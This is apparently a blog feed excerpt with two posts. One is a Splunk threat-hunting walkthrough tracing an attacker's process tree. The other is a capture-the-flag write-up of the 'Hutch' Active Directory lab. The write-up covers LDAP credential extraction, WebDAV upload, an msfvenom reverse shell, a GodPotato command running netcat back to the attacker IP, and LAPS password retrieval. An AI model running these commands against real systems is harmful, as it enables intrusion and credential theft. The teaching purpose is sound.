/></figure><p>Out of the 156 events, most of them came from the System32 path which is normal for a 64 bit system. We also have three executions coming from SysWOW64 which stands out because that location is used for 32 bit binaries. Those three are worth checking first, but that does not mean we ignore the System32 activity since attackers can still launch cmd.exe from there, but the SysWOW64 path gives us a nice place to start.</p><p>So let’s focus on that by excluding the System32 binaries and pulling the fields that actually help us understand what happened. Things like the time, the username, the process name and the command line give us the core story of each process… when it happened, where it happened, who ran it and what actually executed.</p><pre>index=endpoint source=&quot;XmlWinEventLog:Security&quot; EventID=4688 <br>NewProcessName=&quot;*\\cmd.exe&quot; <br>NOT NewProcessName=&quot;C:\\Windows\\System32\\cmd.exe&quot;<br>ParentProcessName!=&quot;C:\\Windows\\explorer.exe&quot;<br>| table _time Computer SubjectUserName  ParentProcessName ProcessId NewProcessName CommandLine NewProcessId <br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GnJX7TZBqrCDkjqjku-Abw.png" /></figure><p>Since we sorted the results in chronological order, we get a small timeline of every cmd.exe launch that came from the SysWOW64 path. Each row is one process creation event, and every field helps us understand a different part of the story:</p><p><strong>Computer:</strong> the endpoint that generated the event<br><strong>SubjectUserName:</strong> the account that ran the process<br><strong>ParentProcessName</strong>: path of the parent process<br><strong>ProcessId</strong>: ID of the parent process<br><strong>NewProcessName:</strong> path of the process that was launched<br><strong>CommandLine:</strong> the exact command that was executed<br><strong>NewProcessId</strong>: ID of the process that was launched<br><br>Looking at the table, the two most recent events from <em>john.doe</em> stand out immediately. Both of them are using the SysWOW64 version of cmd.exe to create a new user and then add that user to the local administrators group. That’s not how normal admin work is done, and it’s definitely not something you expect to see coming from the 32‑bit cmd.exe path. The timing makes it even stranger… these commands ran around <em>21:12</em> in the evening, well outside typical business hours. And both of them were launched by <strong>regsvr32.exe</strong>, which is supposed to register DLLs, not spawn command shells. Definitely a red flag right there.</p><p>Also the older event is even more concerning. It ran under the machine account (CLI‑01$) and its parent process is a randomly named executable sitting directly in C:\Windows. That executable then launched a plain cmd.exe with no command‑line arguments at all. Random filenames in system directories and cmd.exe launches with no arguments are both patterns you see when something has been dropped onto the system or executed remotely, but the key detail here is that cmd.exe with no visible arguments typically means an interactive shell session rather than a one-off command. Interactive shells are where attackers type or script multiple commands in sequence, so this process probably spawned a lot of child activity. The two regsvr32 events are suspicious too but they each show a single specific command being run, which means pivoting from them would only show us those isolated user-add actions and nothing else. Since the cmd.exe is the earliest event, runs under a more privileged context, and has a clearly untrustworthy parent, this is where I’ll pivot.</p><p>So I’m going to convert those hex values to decimal using the eval command so we can search for that process or list its child processes. Windows logs store these IDs in hex, and Splunk only matches values when the format is the same, so we convert both NewProcessId and ProcessId.</p><pre>index=endpoint source=&quot;XmlWinEventLog:Security&quot; EventID=4688 <br>NewProcessName=&quot;*\\cmd.exe&quot; <br>NOT NewProcessName=&quot;C:\\Windows\\System32\\cmd.exe&quot;<br>ParentProcessName!=&quot;C:\\Windows\\explorer.exe&quot;<br>| eval NewProcessId=tonumber(NewProcessId, 16), ProcessId=tonumber(ProcessId, 16)<br>| table _time Computer SubjectUserName ParentProcessName ProcessId NewProcessName CommandLine NewProcessId <br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVWMh5B7_vnyMhMiQx5M1w.png" /></figure><p>Now that we know which event we want to pivot from, I am going to grab its process ID which is <strong>6804</strong> and use it to walk the process tree, so now we can simply filter by ProcessId equals 6804 and pull every child process that cmd.exe spawned during that interactive session. Fields like Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName and ProcessId give us the full picture.</p><pre>index=&quot;endpoint&quot; source=&quot;xmlwineventlog:Security&quot; EventID=4688 <br>| eval NewProcessId=tonumber(NewProcessId, 16), ProcessId=tonumber(ProcessId, 16)<br>| search ProcessId=6804<br>| table _time Computer SubjectUserName NewProcessName  CommandLine ParentProcessName ProcessId<br>| sort - _time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYMgT7N6AuSO-LX-aVoPNA.png" /></figure><p>And just like that, the whole story unfolds, the entire attack sequence from that cmd.exe process. We can see the RDP and firewall settings being changed, the connections from CLI-01 to the attacker machine to pull down some files, and a few commands being run along the way.</p><h3><strong><em>PowerShell Hunt with Sysmon</em></strong></h3><p>Having uncovered the full attack chain from that suspicious cmd.exe session, let’s shift focus to PowerShell, another favorite for attackers under MITRE ATT&amp;CK T1059.001. We’ll follow the exact same logical steps, but this time using Sysmon data for richer process details.</p><p>Just like before, I’ll start with a broad search to get an overview of the log source and inspect the available fields:</p><pre>index=&quot;endpoint&quot; source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventID=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_jcsA1bldVFBoK2Hh2wxjw.png" /></figure><p>This will give us 2012 events, the key fields we&#39;re most interested in here are:</p><p><strong>Image</strong>: Full path of the process executable<br><strong>ParentImage</strong>: Full path of the parent process<br><strong>CommandLine</strong>: command-line arguments<br><strong>ParentCommandLine</strong>: Parent’s command-line arguments<br><strong>User</strong>: Account that created the process <br><strong>ProcessId</strong>: Process ID (already in decimal, nice!)<br><strong>ParentProcessId</strong>: Parent process ID<br><strong>ParentProcessGuid</strong>: Parent process GUID</p><p>Since we don’t want user interaction events, I’ll filter out anything spawned directly from explorer.exe because those usually represent normal desktop usage.</p><pre>index=&quot;endpoint&quot; source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventID=1 Image=*powershell.exe <br>ParentImage!=&quot;C:\\Windows\\explorer.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0Xa9O28F_waVveAnjssyw.png" /></figure><p>We narrowed it down nicely to just 11 events by excluding anything spawned directly from explorer.exe.</p><p>Just like in the cmd.exe hunt, let’s check the binary paths to get a quick sense of what’s normal and what stands out.</p><pre>index=&quot;endpoint&quot; source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventID=1 Image=*powershell.exe <br>ParentImage!=&quot;C:\\Windows\\explorer.exe&quot; <br>| stats count by Image</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8esleQyXdI6fEVXloPx-A.png" /></figure><p>As we saw with cmd.exe earlier, the SysWOW64 version shows up again and we already know that’s a red flag but let’s review all the events to spot any anomalies in the process execution chain.</p><pre>index=&quot;endpoint&quot; source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=1 Image=&quot;*\\powershell.exe&quot; <br>ParentImage!=&quot;C:\\Windows\\explorer.exe&quot;<br>| table _time, user, Image, CommandLine,ParentImage, ParentCommandLine<br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVsLOXn_QuMbyr5fEp4_qg.png" /></figure><p>As you can see most of the PowerShell executions from the System32 path line up with normal system activity or routine admin commands. A few of them even run with ExecutionPolicy Restricted, which is what you expect from standard Windows behaviour. That’s why we can safely triage them as benign and focus on the two SysWOW64 outliers.</p><p>So let’s zoom in on those 2 events by filtering out system32 path and really focus on the ones we want.</p><pre>index=&quot;endpoint&quot; source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=1 Image=&quot;*\\powershell.exe&quot; <br>Image!=&quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot;<br>ParentImage!=&quot;C:\\Windows\\explorer.exe&quot; <br>| table _time, user, Image, CommandLine,ParentImage, ParentCommandLine,IntegrityLevel<br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nfZSoFGrTH5QpYQHXiJiDg.png" /></figure><p>Both of these PowerShell executions are clearly malicious and they both come from the same SysWOW64 cmd.exe parent, so I am going to pull the ParentProcessId into the table so I can pivot up the process tree.</p><p>To do that I’ll just add ParentProcessId field to the current query.</p><pre>index=&quot;endpoint&quot; source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=1 Image=&quot;*\\powershell.exe&quot; <br>Image!=&quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot;<br>ParentImage!=&quot;C:\\Windows\\explorer.exe&quot; <br>| table _time, user, Image, CommandLine,ParentImage, ParentCommandLine,IntegrityLevel, ParentProcessId<br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOER-72nqnYxyf5nQjn-Gw.png" /></figure><p>Perfect both events share the exact same parent cmd.exe with ProcessId <strong>6804</strong>. This is the same cmd.exe instance we uncovered earlier in the Windows Event Log 4688 hunt (the one with no arguments, running as the machine account from a random executable in C:\Windows).</p><p>Now we can walk upward in the process tree to confirm the root cause and then downward to see everything this session did. A key threat hunting practice is to start from a suspicious process like these PowerShell one-liners and trace the full chain in both directions, because if the child is malicious, the parent that launched it (and any grandparents) are almost certainly part of the compromise too.</p><p>Let’s start by walking upward to identify what spawned our suspicious cmd.exe (ProcessId 6804). For that I’ll simply search EventID=1 for ProcessId=6804 and list its ParentImage.</p><pre>index=endpoint source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=1 ProcessId=6804<br>| table _time ParentImage ParentProcessId <br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmQoUiLAv8YKL-eF_vCwkw.png" /></figure><p>There it is! the event we’re interested in at 20:50 shows our cmd.exe was launched by C:\Windows\EYjfCHmQ.exe, a randomly named file in the Windows directory. This ties right back to what we saw in the Event ID 4688 logs. The earlier entry is unrelated noise (PID reuse from benign activity).</p><p>Also searching for ProcessId=3356 returns nothing, so we hit the top of the logged chain here. This executable is effectively the root of the compromise in our dataset.</p><p>Now that we have confirmed the root of the compromise, we can walk back down the process tree and map out everything this cmd.exe session executed by pivoting on <strong>ParentProcessId 6804</strong> and listing the <strong>host</strong>, <strong>user</strong>, <strong>Image</strong>, and <strong>CommandLine</strong> fields to see every action that originated from this session.</p><pre>index=endpoint source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=1 ParentProcessId=6804<br>| table _time host user Image CommandLine<br>| sort -_time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nrsbXZzkCu-64sFS371khg.png" /></figure><p>This is it. This machine is fully compromised, probably mining Bitcoin for someone by now! We should hit the red alert button and sound the alarms…</p><p>This pivot gives us the entire activity trail that came out of the compromised cmd.exe session. What started as a simple search for suspicious PowerShell executions led us all the way to the root cause, and then back down through every action the attacker performed. From one initial query, we were able to reconstruct the full process tree and confirm both the entry point and the impact.</p><p>Ok this is getting so long and obviously there’s so much more we can do. In a real environment the hunt would continue way beyond this. The next step would be to widen the scope and check for lateral movement or repeated behaviour across the network.</p><ol><li>Did similar suspicious cmd.exe or PowerShell activity appear on any other hosts?</li><li>Were the downloaded payloads (mimikatz.exe, SharpHound.exe, msupdate.dll) seen anywhere else in the environment?</li><li>Was the persistence mechanism (Run key calling regsvr32 with msupdate.dll) created or executed anywhere else in the domain?</li><li>Did any other hosts reach out to the same C2 server (172.16.50.50)?</li><li>Is the newly created user (sherlock) active on other endpoints?</li></ol><p>…and so much more.</p><p>Before wrapping up, a quick check across the environment.</p><p>For example, searching for the malicious .dll.</p><pre>index=&quot;endpoint&quot; source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=11 &quot;msupdate.dll&quot;<br>| stats count by host</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qarobb1JjDPSaGEaWgmpOg.png" /></figure><p>As you can see we just spotted that .dll on another host as well.</p><p>A quick check for any network connections back to the attacker’s C2 server (172.16.50.50).</p><pre>index=endpoint source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventID=3 &quot;172.16.50.50&quot;<br>| stats count by Computer User Image SourceIp DestinationIp DestinationPort</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wyu-erbN4P5oChDKKhFOMQ.png" /></figure><p>Multiple hosts reaching out to the same attacker infrastructure (172.16.50.50), including the domain controller!</p><p>I’ll leave it there for now, but you get the idea. One suspicious process can quickly snowball into a full picture of domain-wide impact when you keep pivoting.</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60ce4c93b44d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds: Hutch]]></title>
            <link>https://medium.com/@NullEsc/proving-grounds-hutch-f49a04ec2f86?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f49a04ec2f86</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 13:26:54 GMT</pubDate>
            <atom:updated>2026-02-26T23:06:15.279Z</atom:updated>
            <content:encoded><![CDATA[<h3>Offsec Proving Grounds: Hutch</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*d7H5ZOYTb7x_CWrAbvfzIg.jpeg" /></figure><p>This AD lab is rated Intermediate by OffSec but hard by the community. It focuses on LDAP credential extraction, WebDAV exploitation, and leveraging Microsoft LAPS for privilege escalation.</p><p>I used Nmap with <strong>-sV</strong> for service enumeration, <strong>-sC</strong> for default scripts, <strong>-T4</strong> for aggressive timing, <strong>-p-</strong> to scan all ports,<strong>-Pn</strong> to skip host discovery and running with sudo enables the default SYN stealth scan. With that in mind, Nmap revealed the following services:</p><pre>sudo nmap -sV -sC -T 4 -p- -Pn -oN nmap_hutch 192.168.201.122<br>[sudo] password for ben: <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 11:12 AEDT<br>Nmap scan report for 192.168.201.122<br>Host is up (0.10s latency).<br>Not shown: 65514 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-webdav-scan: <br>|   Server Date: Thu, 13 Nov 2025 00:15:31 GMT<br>|   WebDAV type: Unknown<br>|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK<br>|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK<br>|_  Server Type: Microsoft-IIS/10.0<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-13 00:14:41Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49676/tcp open  msrpc         Microsoft Windows RPC<br>49692/tcp open  msrpc         Microsoft Windows RPC<br>49740/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>I didn’t include UDP scan and Gobuster results since they didn’t reveal anything useful, but running UDP scans is important for finding UDP services, and directory busting is recommended when you see an HTTP port open.</p><p>Looking at the scan results, it is safe to assume we are dealing with a Windows Domain Controller and we know this from services seen together on ports 53,88,389.</p><p>Port <strong>53</strong> is Simple DNS Plus which is typical on a DC, usually domain Controllers handle name resolution for the entire domain.</p><p>Port <strong>88</strong> is kerberos service, its the backbone of Windows authentication in a domain environment.</p><p>Ports <strong>389/636</strong> are LDAP and LDAPS related which is gold for us because LDAP often allows enumeration of domain users, passwords, and configuration data.</p><p>Ports<strong> 3268/3269</strong> are Global Catalog services. Mainly it’s used for cross-domain queries in multi-domain forests.</p><p>Ports <strong>139, 445, 135, 593</strong> are all standard Windows networking services. 135, 593 is used by RPC and 139,445 are SMB/NetBIOS. Port 445 is our main SMB port for file sharing. These are your typical Windows domain ports. We’ll definitely want to enumerate SMB for shares and check if we have any anonymous access.</p><p>Port <strong>5985</strong> Windows Remote Management means we have remote PowerShell access available. All those high RPC ports are dynamically assigned RPC ports, they’re normal for Windows and not particularly interesting for us.</p><p>Finally, the Star of the Show! HTTP with WebDAV on port 80. With all those extra methods like PUT, COPY, PROPFIND, MKCOL, LOCK, and UNLOCK, it’s basically screaming “pick me pick me” and inviting us to enumerate it further.​ WebDAV essentially turns the web server into a network file system that we can interact with over HTTP. On a Domain Controller, this is typically enabled via IIS’s WebDAV module for file sharing and collaboration.</p><p>Before starting enumeration, I quickly ran davtest against WebDAV to check for file upload capabilities, but it requires authentication with no anonymous access allowed. So we make a note of that and move on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*T_upglqACqp8EiRmv_rHuA.png" /></figure><p>It’s time to learn more about the domain. From Nmap output we already know the domain name. We can also run <strong><em>enum4linux-ng -A</em></strong> which can provide great information sometimes but our focus is on LDAP so let’s query it to see what information we can extract.</p><p>Start by querying the root DSE, which is a special LDAP entry that holds server metadata like domain name and more. The <strong>-x</strong> flag uses simple authentication, <strong>-H</strong> specifies the LDAP URI, and <strong>-s</strong> base sets the search scope to query only the root object itself (rather than searching one level deep or the entire subtree).</p><pre>ldapsearch -x -H ldap://192.168.201.122 -s base</pre><p>This returns all available attributes which is too long to screenshot and I’m interested in hostname and domain so we can shorten the output just to get those by adding <strong>namingcontexts </strong>&amp; <strong>dnsHostName </strong>to the above<strong> </strong>command.</p><pre>ldapsearch -x -H ldap://192.168.201.122 -s base namingcontexts<br>ldapsearch -x -H ldap://192.168.201.122 -s base dnsHostName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*eplmhUa2ZUjv2q60P6kiSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*kbOwLcWVzbKVT3gZeJn0kg.png" /></figure><p>The domain name is hutch.offsec and host name is hutchdc which is the first part of the FQDN <strong>hutchdc</strong>.hutch.offsec. I’ll add these to my hosts file in case they’re needed for Kerberos-related authentication.</p><p>Now that we have the base DN, we can query for different object types like <strong>users</strong>, <strong>groups</strong>, or <strong>computers</strong>. We’re mainly interested in user objects as they may contain credentials or sensitive information in their attributes.</p><p>This query will return a wealth of information including pwdLastSet, lastLogon, userPrincipalName, and many other useful attributes, all worth reviewing.</p><pre>ldapsearch -x -H ldap://192.168.201.122 -b &quot;dc=hutch,dc=offsec&quot; &quot;(objectClass=user)&quot;</pre><p>Since we usually looking for usernames and descrption fields as these commonly contain interesting information, we can add sAMAccountName and description attribute to the above command and only see those but for the sake of screen shot I’ll use grep to make it even more compact.</p><pre>ldapsearch -x -H ldap://192.168.201.122 -b &quot;dc=hutch,dc=offsec&quot; &quot;(objectClass=user)&quot; sAMAccountName description</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nturnMq7ladeN3YOikmUOA.png" /></figure><p>As you can see, there’s a <em>password</em> in the description field for <em>fmcsorley</em>. If you remember from the Nmap results, port 5985 is open, so I tried logging in with evil-winrm but that failed. If there were any other ports that could give us direct access like RDP, SSH, etc., we would try those first as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6UwzmBmP6W1_fd7T4G-AA.png" /></figure><p>WinRM didn’t work, but now we have a usernames so we create a usernames.txt file test it with the password we got across all users. Password spraying is a critical step in AD environments since credential reuse is very common, and we should always do this when we find new credentials. In this case, no additional valid accounts were found, so I moved on to enumerating SMB with the credentials we already have.</p><pre>nxc smb 192.168.201.122 -u fmcsorley -p CrabSharkJellyfish192 --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49SOT3Yrsr_4Dp1GdXIUPA.png" /></figure><p>These are all standard default shares IPC$, NETLOGON, and SYSVOL with READ access. So I’ll move on to try WebDAV with the credentials we have.</p><p>Kali comes with two main <em>WebDAV</em> testing tools: <em>davtest</em> and <em>cadaver</em>. davtest automatically tests what file types can be uploaded and executed on the server, while cadaver is a command-line client that allows manual interaction with the server, similar to an FTP client but for WebDAV.</p><pre>└─$ davtest -url http://192.168.201.122/ -auth fmcsorley:CrabSharkJellyfish192 <br>********************************************************<br> Testing DAV connection<br>OPEN            SUCCEED:                http://192.168.201.122<br>********************************************************<br>NOTE    Random string for this session: 6xOpQbz72P<br>********************************************************<br> Creating directory<br>MKCOL           SUCCEED:                Created http://192.168.201.122/DavTestDir_6xOpQbz72P<br>********************************************************<br> Sending test files<br>PUT     jsp     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jsp<br>PUT     cfm     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cfm<br>PUT     aspx    SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx<br>PUT     txt     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt<br>PUT     shtml   SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.shtml<br>PUT     php     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.php<br>PUT     pl      SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.pl<br>PUT     cgi     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cgi<br>PUT     asp     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp<br>PUT     jhtml   SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jhtml<br>PUT     html    SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html<br>********************************************************<br> Checking for test file execution<br>EXEC    jsp     FAIL<br>EXEC    cfm     FAIL<br>EXEC    aspx    SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx<br>EXEC    aspx    FAIL<br>EXEC    txt     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt<br>EXEC    txt     FAIL<br>EXEC    shtml   FAIL<br>EXEC    php     FAIL<br>EXEC    pl      FAIL<br>EXEC    cgi     FAIL<br>EXEC    asp     SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp<br>EXEC    asp     FAIL<br>EXEC    jhtml   FAIL<br>EXEC    html    SUCCEED:        http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html<br>EXEC    html    FAIL<br><br>********************************************************<br>/usr/bin/davtest Summary:<br>Created: http://192.168.201.122/DavTestDir_6xOpQbz72P<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jsp<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cfm<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.shtml<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.php<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.pl<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.cgi<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.jhtml<br>PUT File: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html<br>Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.aspx<br>Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.txt<br>Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.asp<br>Executes: http://192.168.201.122/DavTestDir_6xOpQbz72P/davtest_6xOpQbz72P.html</pre><p>Of course we can do this with cadaver but its nice to know there is this tool out there. The davtest output shows ASPX files are successfully processed by the server, so now we’ll use cadaver to upload an ASPX web shell and a file called shell.exe using msfvenom with the following command:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.190 LPORT=443 -f exe -o shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*nl6KM4p6UQaLFpbSddhsqA.png" /></figure><p>shell.exe should be in the wwwroot directory we can check by listing its contents then run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*FQ1wZZ24N88SJNfQMCZPQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*T1RIcz8XOofGrXNrtkkPnw.png" /></figure><p>Whenever I land a shell, I usually start by trying to understand my user context: who I am, what groups I belong to, what privileges I have, and what local accounts exist on the machine before exploring anything else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekp6ZVN1HbRPJPc18UyT7A.png" /></figure><p>We are operating as iis apppool\defaultapppool, which is a default IIS account and usually has low privileges but here it has SeImpersonatePrivilege, a high risk privilege we can use to escalate to SYSTEM with potato-style attacks or similar. With that in mind I moved GodPotato-NET4.exe and nc.exe over to temp file and ran the following:</p><pre>PS C:\Windows\Temp&gt; .\gotpotato4.exe -cmd &quot;C:\Windows\Temp\nc64.exe -e cmd 192.168.45.190 443&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*bR3KlIQ0haLq4krwRoqSXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*OuQ0TF25nhu3EJ8R4sdeHw.png" /></figure><p>We got NT system but lets do this another way now. Back to our default iis user, I’ll transfer SharpHound and run it with -c All to capture everything it can.</p><pre>.\SharpHound.exe -c All --ZipFileName data.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XpYav69EO6y7jzw1xEonw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BeTsLRNpKUje0ewa2ZpFiQ.png" /></figure><p>Now lets send it back to Kali and upload it to BloodHound. To do that I’ll start an SMB server on Kali and copy the file over. <strong>share</strong> is the SMB share name, <strong>-smb2support</strong> enables SMB2 protocol support, and we specify a <strong>username</strong> and <strong>password</strong> for authentication.</p><pre>impacket-smbserver share . -smb2support -username jamesbond -password 007</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*t9jExIjWWnRJAXCdqKr7Ng.png" /></figure><p>After uploading the zip file to BloodHound, you should first mark as owned any objects that you control in the Active Directory environment. This includes users, groups, computers, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*ESSTJAcnXRrE141uM006Ug.png" /></figure><p>We only have <strong>fmcsorley</strong> so search for the name and add it to owned. If we click on <strong>fmcsorley</strong>, we see there is 1 <strong>outbound object control</strong>. Outbound object control means this user has permissions that allow them to control another Active Directory object. In this case the permission is ReadLAPSPassword, which gives the user access to retrieve the local administrator password for that specific computer through <strong>LAPS</strong> (Local Administrator Password Solution).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcANZLw-gzH3JfFaI111dg.png" /></figure><p>There are many ways to do this. BloodHound also suggests using bloodyAD, which is one of my favourite tools but there is an even easier way, using the NetExec LAPS module over the LDAP protocol:</p><pre>nxc ldap 192.168.201.122 -u fmcsorley -p CrabSharkJellyfish192 -M laps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imHwWDpCb-iXkefx1IYH-Q.png" /></figure><p>Now we should be able to sign in with the password we just got.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTkH_qJlmlWjs8ygnsHuSw.png" /></figure><p>And that’s it! Remember, there are many ways we could have done this. Explore different tools, different approaches. Build a methodology. It doesn’t have to be perfect! Just having the right mindset to approach things will help you navigate and problem-solve more efficiently. If you get stuck, don’t get discouraged. You’ve just found an opportunity to learn something new!</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img 